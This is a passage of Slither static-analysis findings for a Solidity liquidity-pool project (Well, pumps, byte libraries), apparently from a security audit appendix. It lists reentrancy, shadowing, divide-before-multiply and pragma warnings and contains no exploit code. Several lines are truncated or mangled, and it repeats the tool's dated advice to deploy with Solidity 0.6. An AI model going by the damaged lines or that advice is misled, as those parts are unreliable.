  - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#117)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#122)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#123)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#124)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#125)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
  - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#126)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - prod0 = prod0 / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#105)
  - result = prod0 * inverse (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#132)
LibBytes.storeUInt128(bytes32,uint256[]) (src/libraries/LibBytes.sol#32-84) performs a multiplication on the result
  - maxI = reserves.length / 2 (src/libraries/LibBytes.sol#49)
  - iByte = maxI * 64 (src/libraries/LibBytes.sol#72)
LibBytes.storeUInt128(bytes32,uint256[]) (src/libraries/LibBytes.sol#32-84) performs a multiplication on the result
  - maxI = reserves.length / 2 (src/libraries/LibBytes.sol#49)
  - sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) << 128 + sload(uint256)(slot
LibBytes.readUInt128(bytes32,uint256) (src/libraries/LibBytes.sol#89-125) performs a multiplication on the result of
  - iByte = (i - 1) / 2 * 32 (src/libraries/LibBytes.sol#107)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

Well.addLiquidity(uint256[],uint256,address).i (src/Well.sol#261) is a local variable never initialized
Well.getAddLiquidityOut(uint256[]).i (src/Well.sol#289) is a local variable never initialized
Well._getIJ(IERC20[],IERC20,IERC20).k (src/Well.sol#575) is a local variable never initialized
Well.skim(address).i (src/Well.sol#462) is a local variable never initialized
Well.getRemoveLiquidityOut(uint256).i (src/Well.sol#338) is a local variable never initialized
Well._updatePumps(uint256).i (src/Well.sol#489) is a local variable never initialized
Well.getRemoveLiquidityImbalancedIn(uint256[]).i (src/Well.sol#447) is a local variable never initialized
Well.removeLiquidity(uint256,uint256[],address).i (src/Well.sol#311) is a local variable never initialized
Well.constructor(string,string,IERC20[],Call,Call[]).i (src/Well.sol#70) is a local variable never initialized
Well.removeLiquidityImbalanced(uint256,uint256[],address).i (src/Well.sol#425) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables
```

```

ERC20Permit.constructor(string).name (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit..)
  - ERC20.name() (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#62-64) (function)
  - IERC20Metadata.name() (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol#17) :
Well.constructor(string,string,IERC20[],Call,Call[])._name (src/Well.sol#57) shadows:
  - ERC20._name (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#42) (state variable)
Well.constructor(string,string,IERC20[],Call,Call[])._symbol (src/Well.sol#58) shadows:
  - ERC20._symbol (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#43) (state variable)
Well._updatePumps(uint256).numberOfTokens (src/Well.sol#474) shadows:
  - ImmutableTokens.numberOfTokens() (src/utils/ImmutableTokens.sol#63-65) (function)
Well._getReserves(uint256).numberOfTokens (src/Well.sol#507) shadows:
  - ImmutableTokens.numberOfTokens() (src/utils/ImmutableTokens.sol#63-65) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing
```

```

Well.constructor(string,string,IERC20[],Call,Call[]). (src/Well.sol#56-74) has external calls inside a loop: IPump(_pi
Well.skim(address) (src/Well.sol#458-466) has external calls inside a loop: skimAmounts[i] = _tokens[i].balanceOf(ad
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#calls-inside-a-loop
```

```

Reentrancy in Well.addLiquidity(uint256[],uint256,address) (src/Well.sol#253-276):
  External calls:
    - reserves = _updatePumps(_.tokens.length) (src/Well.sol#259)
      - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
      - IPump_.pumps[i].target.update(reserves,_pumps[i].data) (src/Well.sol#490)
    - _.tokens[i].safeTransferFrom(msg.sender,address(this),tokenAmountsIn[i]) (src/Well.sol#263-267)
  State variables written after the call(s):
    - _mint(Recipient,lpAmountOut) (src/Well.sol#273)
      - _balances[account] += amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#267)
    - _mint(Recipient,lpAmountOut) (src/Well.sol#273)
```

```

        - _totalSupply += amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#264)
Reentrancy in Well.removeLiquidity(uint256,uint256[],address) (src/Well.sol#300-323):
    External calls:
        - reserves = _updatePumps(_tokens.length) (src/Well.sol#306)
            - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
            - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
    State variables written after the call(s):
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#310)
            - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#310)
            - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reentrancy in Well.removeLiquidityImbalanced(uint256,uint256[],address) (src/Well.sol#417-435):
    External calls:
        - reserves = _updatePumps(_tokens.length) (src/Well.sol#423)
            - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
            - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
        - _tokens[i].safeTransfer(recipient,tokensAmountOut[i]) (src/Well.sol#426)
    State variables written after the call(s):
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#431)
            - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#431)
            - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reentrancy in Well.removeLiquidityOneToken(uint256,IERC20,uint256,address) (src/Well.sol#348-370):
    External calls:
        - reserves = _updatePumps(_tokens.length) (src/Well.sol#355)
            - IPump(firstPumpTarget()).update(reserves,firstPumpBytes()) (src/Well.sol#486)
            - IPump(_pumps[i].target).update(reserves,_pumps[i].data) (src/Well.sol#490)
    State variables written after the call(s):
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#364)
            - _balances[account] = accountBalance - amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
        - _burn(msg.sender,lpAmountIn) (src/Well.sol#364)
            - _totalSupply -= amount (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#295)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

ERC20Permit.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) (lib/openzeppelin-contracts/contracts/token/ERC20Permit.sol#113-127)
Dangerous comparisons:
    - require(bool,string)(block.timestamp <= deadline,ERC20Permit: expired deadline) (lib/openzeppelin-contracts/token/ERC20Permit.sol#113-127)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

Address._revert(bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#231-243) uses assembly
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Address.sol#236-239)
Strings.toString(uint256) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#18-38) uses assembly
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Strings.sol#24-26)
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Strings.sol#30-32)
ECDSA.tryRecover(bytes32,bytes) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#55-72) uses assembly
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#63-67)
Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) uses assembly
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#66-70)
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#86-93)
    - INLINE ASM (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#100-109)
LibBytes.getBytes32FromBytes(bytes,uint256) (src/libraries/LibBytes.sol#16-25) uses assembly
    - INLINE ASM (src/libraries/LibBytes.sol#21-23)
LibBytes.storeUInt128(bytes32,uint256[]) (src/libraries/LibBytes.sol#32-84) uses assembly
    - INLINE ASM (src/libraries/LibBytes.sol#38-47)
    - INLINE ASM (src/libraries/LibBytes.sol#55-66)
    - INLINE ASM (src/libraries/LibBytes.sol#73-81)
LibBytes.readUInt128(bytes32,uint256) (src/libraries/LibBytes.sol#89-125) uses assembly
    - INLINE ASM (src/libraries/LibBytes.sol#95-98)
    - INLINE ASM (src/libraries/LibBytes.sol#109-115)
    - INLINE ASM (src/libraries/LibBytes.sol#117-122)
ImmutablePumps.firstPumpBytes() (src/utils/ImmutablePumps.sol#218-253) uses assembly
    - INLINE ASM (src/utils/ImmutablePumps.sol#223)
    - INLINE ASM (src/utils/ImmutablePumps.sol#226)
    - INLINE ASM (src/utils/ImmutablePumps.sol#229)
    - INLINE ASM (src/utils/ImmutablePumps.sol#232)
ImmutablePumps.pumps() (src/utils/ImmutablePumps.sol#261-509) uses assembly
    - INLINE ASM (src/utils/ImmutablePumps.sol#276)
    - INLINE ASM (src/utils/ImmutablePumps.sol#279)
    - INLINE ASM (src/utils/ImmutablePumps.sol#282)

```

```

- INLINE ASM (src/utils/ImmutablePumps.sol#316)
- INLINE ASM (src/utils/ImmutablePumps.sol#319)
- INLINE ASM (src/utils/ImmutablePumps.sol#322)
- INLINE ASM (src/utils/ImmutablePumps.sol#325)
- INLINE ASM (src/utils/ImmutablePumps.sol#356)
- INLINE ASM (src/utils/ImmutablePumps.sol#359)
- INLINE ASM (src/utils/ImmutablePumps.sol#362)
- INLINE ASM (src/utils/ImmutablePumps.sol#365)
- INLINE ASM (src/utils/ImmutablePumps.sol#396)
- INLINE ASM (src/utils/ImmutablePumps.sol#399)
- INLINE ASM (src/utils/ImmutablePumps.sol#402)
- INLINE ASM (src/utils/ImmutablePumps.sol#405)
ImmutableWellFunction.wellFunctionBytes() (src/utils/ImmutableWellFunction.sol#111-245) uses assembly
- INLINE ASM (src/utils/ImmutableWellFunction.sol#119)
- INLINE ASM (src/utils/ImmutableWellFunction.sol#123)
- INLINE ASM (src/utils/ImmutableWellFunction.sol#127)
- INLINE ASM (src/utils/ImmutableWellFunction.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

```

Different versions of Solidity are used:

```

- Version used: ['^=0.8.17', '^0.8.0', '^0.8.1', '^0.8.17']
- ^0.8.17 (src/interfaces/IPump.sol#5)
- ABIEncoderV2 (src/interfaces/IPump.sol#6)
- ABIEncoderV2 (src/interfaces/IWellFunction.sol#6)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/security/ReentrancyGuard.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Context.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Counters.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Strings.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#4)
- ^0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#4)
- ^0.8.1 (lib/openzeppelin-contracts/contracts/utils/Address.sol#4)
- ^0.8.17 (src/Well.sol#5)
- ^0.8.17 (src/interfaces/IWell.sol#5)
- ^0.8.17 (src/libraries/LibBytes.sol#5)
- ^0.8.17 (src/utils/ImmutablePumps.sol#5)
- ^0.8.17 (src/utils/ImmutableTokens.sol#5)
- ^0.8.17 (src/utils/ImmutableWellFunction.sol#5)

```

Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used>

```

Address.functionCall(address,bytes) (lib/openzeppelin-contracts/contracts/utils/Address.sol#85-87) is never used a
Address.functionCallWithValue(address,bytes,uint256) (lib/openzeppelin-contracts/contracts/utils/Address.sol#114-1
Address.functionDelegateCall(address,bytes) (lib/openzeppelin-contracts/contracts/utils/Address.sol#170-172) is ne
Address.functionDelegateCall(address,bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#180-187
Address.functionStaticCall(address,bytes) (lib/openzeppelin-contracts/contracts/utils/Address.sol#145-147) is neve
Address.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#155-162)
Address.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts/utils/Address.sol#60-65) is never used an
Address.verifyCallResult(bool,bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#219-229) is ne
Context._msgData() (lib/openzeppelin-contracts/contracts/utils/Context.sol#21-23) is never used and should be remo
Counters.decrement(Counters.Counter) (lib/openzeppelin-contracts/contracts/utils/Counters.sol#32-38) is never used remo
Counters.reset(Counters.Counter) (lib/openzeppelin-contracts/contracts/utils/Counters.sol#40-42) is never used and
ECDSA.recover(bytes32,bytes) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#88-92) is never us
ECDSA.recover(bytes32,bytes32,bytes32) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#116-124)
ECDSA.toEthSignedMessageHash(bytes) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#197-199) is
ECDSA.toEthSignedMessageHash(bytes32) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#183-187)
ECDSA.tryRecover(bytes32,bytes) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#55-72) is never
ECDSA.tryRecover(bytes32,bytes32,bytes32) (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#101-1
Math.average(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#34-37) is never used and si
Math.ceilDiv(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#45-48) is never used and si

```

Math.log10(uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#258-290) is never used and should be removed  
 Math.log10(uint256,Math.Rounding) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#296-301) is never used or should be removed  
 Math.log2(uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#205-241) is never used and should be removed  
 Math.log2(uint256,Math.Rounding) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#247-252) is never used or should be removed  
 Math.log256(uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#309-333) is never used and should be removed  
 Math.log256(uint256,Math.Rounding) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#339-344) is never used or should be removed  
 Math.max(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#19-21) is never used and should be removed  
 Math.min(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#26-28) is never used and should be removed  
 Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) is never used or should be removed  
 Math.mulDiv(uint256,uint256,uint256,Math.Rounding) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#140-151) is never used or should be removed  
 Math.sqrt(uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#158-189) is never used and should be removed  
 Math.sqrt(uint256,Math.Rounding) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#194-199) is never used or should be removed  
 SafeERC20.safeApprove(IERC20,address,uint256) (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#4) is never used or should be removed  
 SafeERC20.safeDecreaseAllowance(IERC20,address,uint256) (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#5) is never used or should be removed  
 SafeERC20.safeIncreaseAllowance(IERC20,address,uint256) (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#6) is never used or should be removed  
 SafeERC20.safePermit(IERC20Permit,address,address,uint256,uint256,uint8,bytes32) (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4) is never used or should be removed  
 Strings.toHexString(address) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#67-69) is never used and should be removed  
 Strings.toHexString(uint256) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#43-47) is never used and should be removed  
 Strings.toString(uint256) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#52-62) is never used or should be removed  
 Strings.toString(uint256) (lib/openzeppelin-contracts/contracts/utils/Strings.sol#18-38) is never used and should be removed  
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code>

Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/security/ReentrancyGuard.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol#4) allows old versions  
 Pragma version^0.8.1 (lib/openzeppelin-contracts/contracts/utils/Address.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Context.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Counters.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/Strings.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#4) allows old versions  
 Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#4) allows old versions  
 Pragma version^0.8.17 (src/Well.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/interfaces/IPump.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/interfaces/IWell.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/interfaces/IWellFunction.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/libraries/LibBytes.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/utils/ImmutablePumps.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/utils/ImmutableTokens.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 Pragma version^0.8.17 (src/utils/ImmutableWellFunction.sol#5) necessitates a version too recent to be trusted. Consider deploying with 0.6.  
 solc-0.8.17 is not recommended for deployment  
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity>

Low level call in Address.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts/utils/Address.sol#60-65):  
 - (success) = recipient.call{value: amount}()  
 Low level call in Address.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#63):  
 - (success,returnData) = target.call{value: value}(data)  
 Low level call in Address.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#160):  
 - (success,returnData) = target.staticcall(data)  
 Low level call in Address.functionDelegateCall(address,bytes,string) (lib/openzeppelin-contracts/contracts/utils/Address.sol#161):  
 - (success,returnData) = target.delegatecall(data)  
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls>

Function ERC20Permit.DOMAIN\_SEPARATOR() (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol#4) is not in mixed mode  
 Variable ERC20Permit.\_PERMIT\_TYPEHASH\_DEPRECATED\_SLOT (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol#5) is not in mixed mode  
 Function IERC20Permit.DOMAIN\_SEPARATOR() (lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#6) is not in mixed mode  
 Variable EIP712.\_CACHED\_DOMAIN\_SEPARATOR (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#31) is not in mixed mode  
 Variable EIP712.\_CACHED\_CHAIN\_ID (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#32) is not in mixed mode  
 Variable EIP712.\_CACHED\_THIS (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#33) is not in mixed mode  
 Variable EIP712.\_HASHED\_NAME (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#35) is not in mixed mode

Variable EIP712.\_HASHED\_VERSION (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#36) is not in mixedCase  
Variable EIP712.\_TYPE\_HASH (lib/openzeppelin-contracts/contracts/utils/cryptography/EIP712.sol#37) is not in mixedCase  
Variable Well.\_\_auger (src/Well.sol#39) is not in mixedCase  
Variable ImmutablePumps.\_bytes0\_0 (src/utils/ImmutablePumps.sol#35) is not in mixedCase  
Variable ImmutablePumps.\_bytes0\_1 (src/utils/ImmutablePumps.sol#36) is not in mixedCase  
Variable ImmutablePumps.\_bytes0\_2 (src/utils/ImmutablePumps.sol#37) is not in mixedCase  
Variable ImmutablePumps.\_bytes0\_3 (src/utils/ImmutablePumps.sol#38) is not in mixedCase  
Variable ImmutablePumps.\_bytes1\_0 (src/utils/ImmutablePumps.sol#46) is not in mixedCase  
Variable ImmutablePumps.\_bytes1\_1 (src/utils/ImmutablePumps.sol#47) is not in mixedCase  
Variable ImmutablePumps.\_bytes1\_2 (src/utils/ImmutablePumps.sol#48) is not in mixedCase  
Variable ImmutablePumps.\_bytes1\_3 (src/utils/ImmutablePumps.sol#49) is not in mixedCase  
Variable ImmutablePumps.\_bytes2\_0 (src/utils/ImmutablePumps.sol#57) is not in mixedCase  
Variable ImmutablePumps.\_bytes2\_1 (src/utils/ImmutablePumps.sol#58) is not in mixedCase  
Variable ImmutablePumps.\_bytes2\_2 (src/utils/ImmutablePumps.sol#59) is not in mixedCase  
Variable ImmutablePumps.\_bytes2\_3 (src/utils/ImmutablePumps.sol#60) is not in mixedCase  
Variable ImmutablePumps.\_bytes3\_0 (src/utils/ImmutablePumps.sol#68) is not in mixedCase  
Variable ImmutablePumps.\_bytes3\_1 (src/utils/ImmutablePumps.sol#69) is not in mixedCase  
Variable ImmutablePumps.\_bytes3\_2 (src/utils/ImmutablePumps.sol#70) is not in mixedCase  
Variable ImmutablePumps.\_bytes3\_3 (src/utils/ImmutablePumps.sol#71) is not in mixedCase  
Parameter ImmutableTokens.getTokenFromList(uint256,IERC20[]).\_tokens (src/utils/ImmutableTokens.sol#132) is not in mixedCase  
Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions>

Redundant expression "j (src/Well.sol#589)" inWell (src/Well.sol#27-591)

Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#redundant-statements>

Variable Well.swapTo(IERC20,IERC20,uint256,uint256,address).reserveIBefore (src/Well.sol#201) is too similar to Well  
Variable ImmutablePumps.number0fBytes0 (src/utils/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy  
Variable ImmutablePumps.number0fBytes0 (src/utils/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy  
Variable ImmutablePumps.number0fBytes0 (src/utils/ImmutablePumps.sol#34) is too similar to ImmutablePumps.number0fBy  
Variable ImmutablePumps.number0fBytes1 (src/utils/ImmutablePumps.sol#45) is too similar to ImmutablePumps.number0fBy  
Variable ImmutablePumps.number0fBytes2 (src/utils/ImmutablePumps.sol#56) is too similar to ImmutablePumps.number0fBy  
Variable ImmutablePumps.number0fBytes1 (src/utils/ImmutablePumps.sol#45) is too similar to ImmutablePumps.number0fBy  
Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-too-similar>

- `GeoEmaAndCumSmaPump.sol`

```

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- iByte = maxI * 64 (src/libraries/LibBytes16.sol#40)
LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) performs a multiplication on the result of a division
- maxI = reserves.length / 2 (src/libraries/LibBytes16.sol#26)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) >> 128) (src/libraries/LibBytes16.sol#54-87) performs a multiplication on the result of a divisor
- iByte = (i - 1) / 2 * 32 (src/libraries/LibBytes16.sol#72)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- iByte = maxI * 64 (src/libraries/LibLastReserveBytes.sol#53)
LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) performs a multiplication
- maxI = n / 2 (src/libraries/LibLastReserveBytes.sol#39)
- sstore(uint256,uint256)(slot + maxI * 32,mload(uint256)(reserves + iByte + 32) + sload(uint256)(slot + maxI) << 128 >> 1) (src/libraries/LibLastReserveBytes.sol#67-112) performs a multiplication on the result of a divisor
- iByte = (i - 1) / 2 * 32 (src/libraries/LibLastReserveBytes.sol#96)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equal
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses a dangerous strict equal
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

IWell.well().aquifer (src/interfaces/IWell.sol#157) shadows:
- IWell.aquifer() (src/interfaces/IWell.sol#144) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

GeoEmaAndCumSmaPump._capReserve(bytes16,bytes16,bytes16) (src/pumps/GeoEmaAndCumSmaPump.sol#180-199) uses timestamp for comparison
Dangerous comparisons:
- minReserve.cmp(reserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#189)
- reserve.cmp(maxReserve) == 1 (src/pumps/GeoEmaAndCumSmaPump.sol#196)
